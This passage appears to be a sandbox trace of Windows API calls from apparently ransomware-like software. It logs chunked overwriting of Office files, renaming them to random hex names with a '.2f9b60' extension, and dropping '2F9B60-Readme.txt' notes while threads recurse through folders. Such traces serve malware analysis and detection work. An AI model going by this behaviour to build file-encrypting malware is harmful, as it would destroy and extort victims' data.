[0148.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0148.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6a70) returned 1 [0148.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e5b4e0 [0148.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6a70 [0148.016] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6380 [0148.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6380) returned 1 [0148.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.016] WriteFile (hFile=0x149c, lpBuffer=0x41e5b4e0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3de7f980, lpOverlapped=0x0) [0179.926] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0179.926] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x74850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.926] ReadFile (in: hFile=0x149c, lpBuffer=0x41fbd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3de7f980, lpOverlapped=0x0 | out: lpBuffer=0x41fbd170*, lpNumberOfBytesRead=0x3de7f980*=0x3c00, lpOverlapped=0x0) returned 1 [0182.033] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x74850, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee80 [0182.034] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ee80) returned 1 [0182.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43024d60 [0182.034] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ee80 [0182.035] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eeb0 [0182.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2eeb0) returned 1 [0182.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.036] WriteFile (in: hFile=0x149c, lpBuffer=0x43024d60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3de7f980, lpOverlapped=0x0 | out: lpBuffer=0x43024d60*, lpNumberOfBytesWritten=0x3de7f980*=0x3c00, lpOverlapped=0x0) returned 1 [0198.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43024d60) returned 1 [0198.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fe50 [0198.819] SetFilePointerEx (in: hFile=0x149c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.819] WriteFile (in: hFile=0x149c, lpBuffer=0x431f5900*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3de7fa30, lpOverlapped=0x0 | out: lpBuffer=0x431f5900*, lpNumberOfBytesWritten=0x3de7fa30*=0x14a, lpOverlapped=0x0) returned 1 [0203.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0203.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a800 [0203.803] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a800) returned 1 [0203.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f120 [0203.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a800 [0203.803] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7d0 [0203.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a7d0) returned 1 [0203.804] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0203.805] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e2f0 [0203.805] sprintf (in: _Dest=0x1ce5e2f0, _Format="%c%c" | out: _Dest="82") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e2f2, _Format="%c%c" | out: _Dest="d2") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e2f4, _Format="%c%c" | out: _Dest="92") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e2f6, _Format="%c%c" | out: _Dest="9f") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e2f8, _Format="%c%c" | out: _Dest="7f") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e2fa, _Format="%c%c" | out: _Dest="46") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e2fc, _Format="%c%c" | out: _Dest="2d") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e2fe, _Format="%c%c" | out: _Dest="aa") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e300, _Format="%c%c" | out: _Dest="18") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e302, _Format="%c%c" | out: _Dest="89") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e304, _Format="%c%c" | out: _Dest="e4") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e306, _Format="%c%c" | out: _Dest="14") returned 2 [0203.805] sprintf (in: _Dest=0x1ce5e308, _Format="%c%c" | out: _Dest="7c") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e30a, _Format="%c%c" | out: _Dest="99") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e30c, _Format="%c%c" | out: _Dest="99") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e30e, _Format="%c%c" | out: _Dest="80") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e310, _Format="%c%c" | out: _Dest="ed") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e312, _Format="%c%c" | out: _Dest="ad") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e314, _Format="%c%c" | out: _Dest="f8") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e316, _Format="%c%c" | out: _Dest="da") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e318, _Format="%c%c" | out: _Dest="50") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e31a, _Format="%c%c" | out: _Dest="c7") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e31c, _Format="%c%c" | out: _Dest="c8") returned 2 [0203.806] sprintf (in: _Dest=0x1ce5e31e, _Format="%c%c" | out: _Dest="13") returned 2 [0203.806] RtlInitAnsiString (in: DestinationString=0x3de7faa8, SourceString="82d2929f7f462daa1889e4147c999980edadf8da50c7c813" | out: DestinationString="82d2929f7f462daa1889e4147c999980edadf8da50c7c813") [0203.806] RtlAnsiStringToUnicodeString (in: DestinationString=0x3de7fa78, SourceString="82d2929f7f462daa1889e4147c999980edadf8da50c7c813", AllocateDestinationString=1 | out: DestinationString="82d2929f7f462daa1889e4147c999980edadf8da50c7c813") returned 0x0 [0203.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309fde0 [0203.807] wcscat (in: _Dest=0x431c5080, _Source="82d2929f7f46" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\82d2929f7f46") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\82d2929f7f46" [0203.807] wcscat (in: _Dest=0x431c5080, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\82d2929f7f46.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\82d2929f7f46.2f9b60" [0203.807] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\82d2929f7f46.2f9b60", NtPathName=0x3de7fa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\82d2929f7f46.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.807] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431317a0 [0207.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431317a0) returned 1 [0207.732] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43224c50) returned 1 [0207.732] NtQueryInformationFile (in: FileHandle=0x149c, IoStatusBlock=0x3de7fab8, FileInformation=0x3de7fac8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3de7fab8, FileInformation=0x3de7fac8) returned 0x0 [0207.732] NtSetInformationFile (FileHandle=0x149c, IoStatusBlock=0x3de7fab8, FileInformation=0x3de7fac8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431c5080) returned 1 [0209.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309fde0) returned 1 [0209.441] FlushFileBuffers (hFile=0x149c) returned 1 [0209.443] CloseHandle (hObject=0x149c) returned 1 [0216.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x431da190 [0216.295] wcscpy (in: _Dest=0x431da190, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\" [0216.295] wcscat (in: _Dest=0x431da190, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\2F9B60-Readme.txt" [0216.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\2f9b60-readme.txt")) returned 0xffffffff [0216.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8 [0219.562] WriteFile (in: hFile=0x5e8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3de7f970, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3de7f970*=0xba9, lpOverlapped=0x0) returned 1 [0222.796] CloseHandle (hObject=0x5e8) returned 1 [0224.755] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431da190) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae800) returned 1 Thread: id = 1372 os_tid = 0xeb8 [0118.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x202ac210 [0118.536] wcscpy (in: _Dest=0x202ac210, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" [0118.537] wcscat (in: _Dest=0x202ac210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0118.537] wcscat (in: _Dest=0x202ac210, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*" [0118.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f170 [0118.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\*", lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ce340 [0118.550] wcscmp (_String1=".", _String2=".") returned 0 [0118.550] FindNextFileW (in: hFindFile=0x1b7ce340, lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.554] wcscmp (_String1="..", _String2=".") returned 1 [0118.554] wcscmp (_String1="..", _String2="..") returned 0 [0118.555] FindNextFileW (in: hFindFile=0x1b7ce340, lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServicesV12", cAlternateFileName="INFOPA~1")) returned 1 [0118.555] wcscmp (_String1="InfoPathOMFormServicesV12", _String2=".") returned 1 [0118.555] wcscmp (_String1="InfoPathOMFormServicesV12", _String2="..") returned 1 [0118.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776af0 [0118.555] wcscpy (in: _Dest=0x1b776af0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" [0118.555] wcscat (in: _Dest=0x1b776af0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0118.555] wcscat (in: _Dest=0x1b776af0, _Source="InfoPathOMFormServicesV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\InfoPathOMFormServicesV12" [0145.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b776af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178c [0145.818] FindNextFileW (in: hFindFile=0x1b7ce340, lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ae85c00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ae85c00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xb770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0145.818] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2=".") returned 1 [0145.818] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2="..") returned 1 [0145.818] FindNextFileW (in: hFindFile=0x1b7ce340, lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0145.818] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2=".") returned 1 [0145.818] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2="..") returned 1 [0145.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1cecf780 [0145.818] wcscpy (in: _Dest=0x1cecf780, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" [0145.818] wcscat (in: _Dest=0x1cecf780, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0145.818] wcscat (in: _Dest=0x1cecf780, _Source="Microsoft.Office.InfoPath.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\Microsoft.Office.InfoPath.xml" [0145.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cecf780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f6c [0145.819] FindNextFileW (in: hFindFile=0x1b7ce340, lpFindFileData=0x2027f170 | out: lpFindFileData=0x2027f170*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x55382ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0145.819] FindClose (in: hFindFile=0x1b7ce340 | out: hFindFile=0x1b7ce340) returned 1 [0145.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f170) returned 1 [0145.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac210) returned 1 [0145.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10c60) returned 1 Thread: id = 1373 os_tid = 0xebc [0118.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ada20 [0118.556] wcscpy (in: _Dest=0x1b7ada20, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" [0118.556] wcscat (in: _Dest=0x1b7ada20, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" [0118.556] wcscat (in: _Dest=0x1b7ada20, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*" [0118.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f3e0 [0118.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cec40 [0118.557] wcscmp (_String1=".", _String2=".") returned 0 [0118.557] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.557] wcscmp (_String1="..", _String2=".") returned 1 [0118.557] wcscmp (_String1="..", _String2="..") returned 0 [0118.557] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0118.557] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2=".") returned 1 [0118.557] wcscmp (_String1="Microsoft.Office.Infopath.dll", _String2="..") returned 1 [0118.557] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0118.557] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2=".") returned 1 [0118.557] wcscmp (_String1="Microsoft.Office.InfoPath.xml", _String2="..") returned 1 [0118.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1183a0 [0118.557] wcscpy (in: _Dest=0x1183a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12" [0118.557] wcscat (in: _Dest=0x1183a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\" [0118.557] wcscat (in: _Dest=0x1183a0, _Source="Microsoft.Office.InfoPath.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\Microsoft.Office.InfoPath.xml" [0127.667] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1183a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1038 [0127.668] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x2027f3e0 | out: lpFindFileData=0x2027f3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="MICROS~1.XML")) returned 0 [0127.668] FindClose (in: hFindFile=0x1b7cec40 | out: hFindFile=0x1b7cec40) returned 1 [0127.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f3e0) returned 1 [0127.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ada20) returned 1 [0127.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae890) returned 1 Thread: id = 1374 os_tid = 0xec0 [0118.584] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml")) returned 0x20 [0118.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml", dwFileAttributes=0x20) returned 1 [0118.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\Microsoft.Office.InfoPath.xml" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\microsoft.office.infopath.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe34 [0118.585] GetFileSizeEx (in: hFile=0xe34, lpFileSize=0x3e3af800 | out: lpFileSize=0x3e3af800*=253407) returned 1 [0118.585] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x3dddb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.585] ReadFile (in: hFile=0xe34, lpBuffer=0x3e3af780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e3af7c8, lpOverlapped=0x0 | out: lpBuffer=0x3e3af780*, lpNumberOfBytesRead=0x3e3af7c8*=0x4, lpOverlapped=0x0) returned 1 [0118.601] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 